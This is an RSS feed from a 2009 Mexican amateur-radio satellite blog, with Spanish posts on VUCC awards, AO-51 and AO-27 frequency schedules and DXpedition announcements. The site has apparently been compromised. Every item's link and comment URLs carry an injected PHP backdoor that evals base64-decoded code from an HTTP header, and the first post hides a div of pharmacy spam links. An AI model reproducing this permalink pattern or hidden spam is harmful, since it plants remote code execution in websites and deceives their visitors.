<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Sat XE</title>
	<atom:link href="http://www.sat-xe.org/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.sat-xe.org</link>
	<description>All XE covered by satellite</description>
	<pubDate>Mon, 06 Sep 2010 01:59:42 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>XE1AO obtiene el VUCC en Satelite</title>
		<link>http://www.sat-xe.org/2009/09/09/xe1ao-obtiene-el-vucc-en-satelite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/09/09/xe1ao-obtiene-el-vucc-en-satelite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 18:39:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[4A1DXXE]]></category>

		<category><![CDATA[AO-27]]></category>

		<category><![CDATA[AO-51]]></category>

		<category><![CDATA[ARISS]]></category>

		<category><![CDATA[Amsat]]></category>

		<category><![CDATA[GriDXpediciones]]></category>

		<category><![CDATA[ISS]]></category>

		<category><![CDATA[K5D]]></category>

		<category><![CDATA[SKN]]></category>

		<category><![CDATA[SSTV]]></category>

		<category><![CDATA[Satelites]]></category>

		<category><![CDATA[Seguimiento]]></category>

		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[VUCC]]></category>

		<category><![CDATA[activaciones]]></category>

		<category><![CDATA[anuncios]]></category>

		<category><![CDATA[concursos]]></category>

		<category><![CDATA[diplomas]]></category>

		<category><![CDATA[minDXpediciones]]></category>

		<category><![CDATA[proyectos]]></category>

		<category><![CDATA[videos]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=83</guid>
		<description><![CDATA[
viagra onlineXANAXadderall onlineLevitraPuppies for sale

Omar XE1AO se ha convertido en el 5to mexicano en obtener el VUCC en Satelite por contactar y confirmar comunicados con 100 o mas Grid Locators. Adicionalmente Omar se convierte en el segundo Radioaficionado Mexicano de la Zona 1 en obtenerlo. Su certificado es el #182 otorgado por la ARRL
Omar tambien [...]]]></description>
			<content:encoded><![CDATA[<p><!-- ~~sponsor~~ --></p>
<div style='width:150px; height:1px;padding:0px;font:11px Tahoma;overflow:hidden;'><a href="http://www.cyclonediesel.com/">viagra online</a><br /><a href="http://www.appalert.net/">XANAX</a><a href="http://www.ti.org/">adderall online</a><a href="http://desevilla.org/">Levitra</a><a href="http://www.coalliance.org/">Puppies for sale</a></div>
<p><!-- ~~sponsored~~ --></p>
<p>Omar XE1AO se ha convertido en el 5to mexicano en obtener el VUCC en Satelite por contactar y confirmar comunicados con 100 o mas Grid Locators. Adicionalmente Omar se convierte en el segundo Radioaficionado Mexicano de la Zona 1 en obtenerlo. Su certificado es el #182 otorgado por la ARRL</p>
<p>Omar tambien es poseedor del VUCC en 6 mts</p>
<p>Felicidades Omar por este logro de parte de tus amigos de SAT-XE</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/09/09/xe1ao-obtiene-el-vucc-en-satelite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>4C50C al aire</title>
		<link>http://www.sat-xe.org/2009/07/08/4c50c-al-aire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/07/08/4c50c-al-aire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 18:14:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[GriDXpediciones]]></category>

		<category><![CDATA[activaciones]]></category>

		<category><![CDATA[anuncios]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=82</guid>
		<description><![CDATA[El club de radioexperimentadores de Colima &#8220;Jose Roberto Levy&#8221; estara festejando su 50 aniversario por lo que solicito a Cofetel el indicativo especial 4C50C.
Los contactos seran validos para un diploma conmemorativo de acuerdo a las bases de la actividad.
pueden encontrar mayor informacion en http://arco.sat-xe.org/4C50C
Adicional a esto es que estaran activando algunos grids raros bastante interesantes [...]]]></description>
			<content:encoded><![CDATA[<p>El club de radioexperimentadores de Colima &#8220;Jose Roberto Levy&#8221; estara festejando su 50 aniversario por lo que solicito a Cofetel el indicativo especial 4C50C.</p>
<p>Los contactos seran validos para un diploma conmemorativo de acuerdo a las bases de la actividad.</p>
<p>pueden encontrar mayor informacion en <a href="http://arco.sat-xe.org/4C50C">http://arco.sat-xe.org/4C50C</a></p>
<p>Adicional a esto es que estaran activando algunos grids raros bastante interesantes dentro del estado de Colima asi que esten al pendiente&#8230;.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/07/08/4c50c-al-aire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XE2YBG obtiene el VUCC en Satelite</title>
		<link>http://www.sat-xe.org/2009/04/28/xe2ybg-obtiene-el-vucc-en-satelite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/04/28/xe2ybg-obtiene-el-vucc-en-satelite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 18:01:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[VUCC]]></category>

		<category><![CDATA[diplomas]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=81</guid>
		<description><![CDATA[XE2YBG se ha convertido en el 4to mexicano en obtener el VUCC en modo Satelite. Su certificado fue expedido por la ARRL con el numero 175.
Benigno ademas ha obtenido el OSCAR Satellite Communications Achievement Award que otorga AMSAT.
Felicidades de tus amigos de SAT-XE
73&#8217;s
]]></description>
			<content:encoded><![CDATA[<p>XE2YBG se ha convertido en el 4to mexicano en obtener el VUCC en modo Satelite. Su certificado fue expedido por la ARRL con el numero 175.</p>
<p>Benigno ademas ha obtenido el OSCAR Satellite Communications Achievement Award que otorga AMSAT.</p>
<p>Felicidades de tus amigos de SAT-XE</p>
<p>73&#8217;s</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/04/28/xe2ybg-obtiene-el-vucc-en-satelite/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>W5KWQ sera el orador del banquete de AMSAT y TAPR en el HamVention</title>
		<link>http://www.sat-xe.org/2009/04/11/w5kwq-sera-el-orador-del-banquete-de-amsat-y-tapr-en-el-hamvention/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/04/11/w5kwq-sera-el-orador-del-banquete-de-amsat-y-tapr-en-el-hamvention/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 02:25:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[ARISS]]></category>

		<category><![CDATA[ISS]]></category>

		<category><![CDATA[anuncios]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=80</guid>
		<description><![CDATA[Richard, W5KWQ quien fuera tripulante civil de la Estacion Espacial Internacional y quien nos proveyera de tan buenas experiencias en su estadia en el espacio, sera el orador principal del banquete que año con año patrocinan AMSAT y TAPR dentro del HamVention de Dayton Ohio.
La estadia de Richard, sirvio de ejemplo y de inspiracion a [...]]]></description>
			<content:encoded><![CDATA[<p>Richard, W5KWQ quien fuera tripulante civil de la Estacion Espacial Internacional y quien nos proveyera de tan buenas experiencias en su estadia en el espacio, sera el orador principal del banquete que año con año patrocinan AMSAT y TAPR dentro del HamVention de Dayton Ohio.</p>
<p>La estadia de Richard, sirvio de ejemplo y de inspiracion a muchos radioaficionados y jovenes alrededor del planeta con respecto a la ciencia y la tecnologia, situacion que vemos se vea reflejada en un mayor numero de aspirantes a nuestro pasatiempo o bien a integrarse a carreras de corte cientifico en el futuro</p>
<p>73´s de XE2RV</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/04/11/w5kwq-sera-el-orador-del-banquete-de-amsat-y-tapr-en-el-hamvention/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>KC6ROL asume el cargo que deja KA3HDO en ARISS</title>
		<link>http://www.sat-xe.org/2009/04/11/kc6rol-asume-el-cargo-que-deja-ka3hdo-en-ariss/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/04/11/kc6rol-asume-el-cargo-que-deja-ka3hdo-en-ariss/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 02:21:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[ARISS]]></category>

		<category><![CDATA[Amsat]]></category>

		<category><![CDATA[anuncios]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=79</guid>
		<description><![CDATA[El Pasado 24 de marzo, Frank, KA3HDO anuncio que dejaria sus cargos dentro de Amsat y ARISS por lo que el Presidente de AMSAT-NA Barry, WD4ASW, nombro a Will, KC6ROL como nuevo Vicepresidente de Amsat para los programas espaciales tripulados y como delegadode Amsat y de Estados Unidos ante el grupo de trabajo internacional de [...]]]></description>
			<content:encoded><![CDATA[<p>El Pasado 24 de marzo, Frank, KA3HDO anuncio que dejaria sus cargos dentro de Amsat y ARISS por lo que el Presidente de AMSAT-NA Barry, WD4ASW, nombro a Will, KC6ROL como nuevo Vicepresidente de Amsat para los programas espaciales tripulados y como delegadode Amsat y de Estados Unidos ante el grupo de trabajo internacional de ARISS.</p>
<p>73´s de XE2RV</p>
<p>Tomado de Amsat.org</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/04/11/kc6rol-asume-el-cargo-que-deja-ka3hdo-en-ariss/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AO-51 en lo que queda de abril&#8230;</title>
		<link>http://www.sat-xe.org/2009/04/11/ao-51-en-lo-que-queda-de-abril/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/04/11/ao-51-en-lo-que-queda-de-abril/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 02:18:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[AO-51]]></category>

		<category><![CDATA[Amsat]]></category>

		<category><![CDATA[Satelites]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=78</guid>
		<description><![CDATA[De la pagina de Amsat tenemos la programacion para AO-51 para fin del mes de abril&#8230;
April 13 - April 19FM Repeater, L/USUplink: 1268.700 Mhz FMDownlinks: 435.300 and 2401.200 Mhz FM
April 20 - April 26FM Repeater, V/SUplink: 145.880 Mhz FMDownlinks: 2401.200 Mhz FM
9k6 BBS and TelemetryUplink: 1268.700 Mhz FMDownlink: 435.150 Mhz FM
April 27 - May 3FM [...]]]></description>
			<content:encoded><![CDATA[<p>De la pagina de Amsat tenemos la programacion para AO-51 para fin del mes de abril&#8230;</p>
<p>April 13 - April 19<br />FM Repeater, L/US<br />Uplink: 1268.700 Mhz FM<br />Downlinks: 435.300 and 2401.200 Mhz FM</p>
<p>April 20 - April 26<br />FM Repeater, V/S<br />Uplink: 145.880 Mhz FM<br />Downlinks: 2401.200 Mhz FM</p>
<p>9k6 BBS and Telemetry<br />Uplink: 1268.700 Mhz FM<br />Downlink: 435.150 Mhz FM</p>
<p>April 27 - May 3<br />FM Repeater, V/U<br />Uplink: 145.920 Mhz FM<br />Downlink: 435.300 Mhz FM</p>
<p>9k6 BBS and Telemetry<br />Uplink: 1268.700 Mhz<br />FM Downlink: 435.150 Mhz FM</p>
<p>73,<br />Drew KO4MA<br />AMSAT-NA<br />VP Operations</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/04/11/ao-51-en-lo-que-queda-de-abril/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AO-27 al aire</title>
		<link>http://www.sat-xe.org/2009/03/11/ao-27-al-aire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/03/11/ao-27-al-aire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 11 Mar 2009 20:26:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[AO-27]]></category>

		<category><![CDATA[Satelites]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=77</guid>
		<description><![CDATA[Despues de tener varios esfuerzos por re cargar el software del satelite, el AO-27 regreso a la actividad en dias recientes, las frecuencias son las acostumbradas:
V/U
145.850  FM Uplink436.797 FM Downlink
Existe un programa para predecir la agenda de encendido del satelite pueden encontrarlo en
http://www.ao27.org
73´s y suerte&#8230;
]]></description>
			<content:encoded><![CDATA[<p>Despues de tener varios esfuerzos por re cargar el software del satelite, el AO-27 regreso a la actividad en dias recientes, las frecuencias son las acostumbradas:</p>
<p>V/U</p>
<p>145.850  FM Uplink<br />436.797 FM Downlink</p>
<p>Existe un programa para predecir la agenda de encendido del satelite pueden encontrarlo en</p>
<p><a href="http://www.ao27.org/">http://www.ao27.org</a></p>
<p>73´s y suerte&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/03/11/ao-27-al-aire/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>AO-51 en marzo</title>
		<link>http://www.sat-xe.org/2009/03/02/ao-51-en-marzo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/03/02/ao-51-en-marzo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 01:37:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[AO-51]]></category>

		<category><![CDATA[Satelites]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=76</guid>
		<description><![CDATA[Este es el programa para el mes de marzo con bastantes cosas interesantes, puede sufrir cambios en todos los modos que utilicen la frecuencia de descenso de 435.150 mhz para la recoleccion de telemetria.
2 al 9 de marzoFM Repeater, V/UUplink: 145.920 MHz FMDownlink: 435.300 MHz FM
FM Repeater, V(SSB)/UUplink: 145.880 MHz SSBDownlink: 435.150 MHz FM
del 9 [...]]]></description>
			<content:encoded><![CDATA[<p>Este es el programa para el mes de marzo con bastantes cosas interesantes, puede sufrir cambios en todos los modos que utilicen la frecuencia de descenso de 435.150 mhz para la recoleccion de telemetria.</p>
<p>2 al 9 de marzo<br />FM Repeater, V/U<br />Uplink: 145.920 MHz FM<br />Downlink: 435.300 MHz FM</p>
<p>FM Repeater, V(SSB)/U<br />Uplink: 145.880 MHz SSB<br />Downlink: 435.150 MHz FM</p>
<p>del 9 al 16 de marzo<br />Uplink: 145.920 MHz FM<br />Downlink: 435.300 MHz FM</p>
<p>9k6 BBS, L/U<br />Uplink: 1268.700 MHz 9k6 FM<br />Downlink: 435.150 MHz 9k6 FM</p>
<p>del 16 al 23 de marzo<br />FM Repeater, V/S<br />Uplink: 145.880 MHz FM<br />Downlink: 2401.200 MHz FM</p>
<p>9k6 BBS, L/U<br />Uplink: 1268.700 MHz 9k6 FM<br />Downlink: 435.150 MHz 9k6 FM</p>
<p>del 23 al 30 de marzo<br />FM Repeater<br />V/U Uplink: 145.920 MHz FM<br />Downlink: 435.300 MHz FM FM</p>
<p>Repeater V/U SSTV<br />Uplink: 145.880 MHz FM<br />Downlink: 145.150 MHz FM</p>
<p>73, Drew KO4MA<br />AMSAT-NA VP Operations</p>
<p>Para enviar alguna sugerencia puedes hacerlo dando click en la siguiente liga y el grupo de operaciones del AO-51 podra revisarla<br /><a href="mailto:ao51-modes@amsat.org?subject=AO51%20web%20page%20request">mailto:ao51-modes@amsat.org?subject=AO51%20web%20page%20request</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/03/02/ao-51-en-marzo/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>XE2RV desde DL56</title>
		<link>http://www.sat-xe.org/2009/03/02/xe2rv-desde-dl56/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/03/02/xe2rv-desde-dl56/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 02 Mar 2009 18:22:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[GriDXpediciones]]></category>

		<category><![CDATA[activaciones]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=75</guid>
		<description><![CDATA[
Como era el Plan, el fin de semana estuve operando desde la Playa en Camahuiroa Sonora, para ello planee hacerlo solo en algunos pases que no coincidieran con los horarios de comida o de las actividades familiares&#8230;
El resultado fueron tres pases de Satelite, uno de SO-50 y dos mas de AO-51 y un total de [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://4.bp.blogspot.com/_sRfxoOooaqc/Sawlev73q7I/AAAAAAAAARA/ris5btCIWXI/s1600-h/DSC03401.JPG"><img id="BLOGGER_PHOTO_ID_5308659270956854194" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px" alt="" src="http://4.bp.blogspot.com/_sRfxoOooaqc/Sawlev73q7I/AAAAAAAAARA/ris5btCIWXI/s320/DSC03401.JPG" border="0" /></a></p>
<p>Como era el Plan, el fin de semana estuve operando desde la Playa en Camahuiroa Sonora, para ello planee hacerlo solo en algunos pases que no coincidieran con los horarios de comida o de las actividades familiares&#8230;</p>
<p>El resultado fueron tres pases de Satelite, uno de SO-50 y dos mas de AO-51 y un total de 22 QSO´s.</p>
<p>El equipo utilizado fue un Yaesu FT-530 en full duplex y una antena Log Periodica de Elk Antennas, todo fue transportado en mi tubo de PVC especialmente diseñado y fabricado por mi que no costo mas de 3 dolares.</p>
<p><a href="http://3.bp.blogspot.com/_sRfxoOooaqc/SawleKDkzgI/AAAAAAAAAQ4/bEswiV0pnlk/s1600-h/DSC03411.JPG"><img id="BLOGGER_PHOTO_ID_5308659260788624898" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px" alt="" src="http://3.bp.blogspot.com/_sRfxoOooaqc/SawleKDkzgI/AAAAAAAAAQ4/bEswiV0pnlk/s320/DSC03411.JPG" border="0" /></a></p>
<p>Aqui anexo algunas frografias para que puedan apreciar la ubicacion y condiciones de operacion que no fueron nada despreciables &#8230; o ¿quien desprecia una GriDXpedicion a la playa?</p>
<p>Gracias a todos los que me contestaron y espero poder repetir la experiencia<a href="http://1.bp.blogspot.com/_sRfxoOooaqc/SawldgBICqI/AAAAAAAAAQw/oMEENhi2l9M/s1600-h/DSC03430-2.JPG"><img id="BLOGGER_PHOTO_ID_5308659249504062114" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 240px" alt="" src="http://1.bp.blogspot.com/_sRfxoOooaqc/SawldgBICqI/AAAAAAAAAQw/oMEENhi2l9M/s320/DSC03430-2.JPG" border="0" /></a></p>
<p><a href="http://3.bp.blogspot.com/_sRfxoOooaqc/SawldCIgfvI/AAAAAAAAAQo/VmZGrpVevyA/s1600-h/DSC03427+-+copia.JPG"><img id="BLOGGER_PHOTO_ID_5308659241481961202" style="FLOAT: right; MARGIN: 0px 0px 10px 10px; WIDTH: 320px; CURSOR: hand; HEIGHT: 218px" alt="" src="http://3.bp.blogspot.com/_sRfxoOooaqc/SawldCIgfvI/AAAAAAAAAQo/VmZGrpVevyA/s320/DSC03427+-+copia.JPG" border="0" /></a></p>
<p>73´s</p>
<p>de XE2RV</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/03/02/xe2rv-desde-dl56/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>K5D Isla DESECHEO en los SATELITES</title>
		<link>http://www.sat-xe.org/2009/02/17/k5d-isla-desecheo-en-los-satelites/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://www.sat-xe.org/2009/02/17/k5d-isla-desecheo-en-los-satelites/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 18 Feb 2009 02:10:00 +0000</pubDate>
		<dc:creator>xe2rv</dc:creator>
		
		<category><![CDATA[AO-51]]></category>

		<category><![CDATA[GriDXpediciones]]></category>

		<category><![CDATA[K5D]]></category>

		<category><![CDATA[anuncios]]></category>

		<guid isPermaLink="false">http://www.sat-xe.org/?p=74</guid>
		<description><![CDATA[Para complementar la Dxpedicion que se esta llevando a cabo en la Isla Desecheo KP5  con el indicativo K5D, Amsat NA ha conjuntado un equipo portatil para operaciones via Satelite. ello llevo la colaboracion de varios radioaficionados quienes donaron el equipo y adicionalmente entrenaron a los operadores de la Dxpedicion para la operacion de [...]]]></description>
			<content:encoded><![CDATA[<p>Para complementar la Dxpedicion que se esta llevando a cabo en la Isla Desecheo KP5  con el indicativo K5D, Amsat NA ha conjuntado un equipo portatil para operaciones via Satelite. ello llevo la colaboracion de varios radioaficionados quienes donaron el equipo y adicionalmente entrenaron a los operadores de la Dxpedicion para la operacion de los satelites.</p>
<p>Por ello se ha programado el 2do canal de AO-51 que se solicita sea utilizado exclusivamente para hacer contactos con K5D.</p>
<p>las frecuencias son:</p>
<p>AO-51 Desecheo Mode<br />FM Repeater V/U<br />Uplink: 145.880 MHz FM<br />Downlink: 435.150 MHz FM</p>
<p>Ellos prefieren solo intercambiar indicativos por lo que no es necesario hacer el intercambio de GRID.</p>
<p>y es importante respetar la regla que ha pedido AMSAT:</p>
<p>&#8220;UTILIZAR EL CANAL QRP SOLO PARA CONTACTOS CON K5D&#8221;</p>
<p>Para las zonas en las que la huella del satelite no cubre la Isla Desecheo, la regla es la acostumbrada, solo equipo y antenas portatiles.</p>
<p>73´s y suerte</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sat-xe.org/2009/02/17/k5d-isla-desecheo-en-los-satelites/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
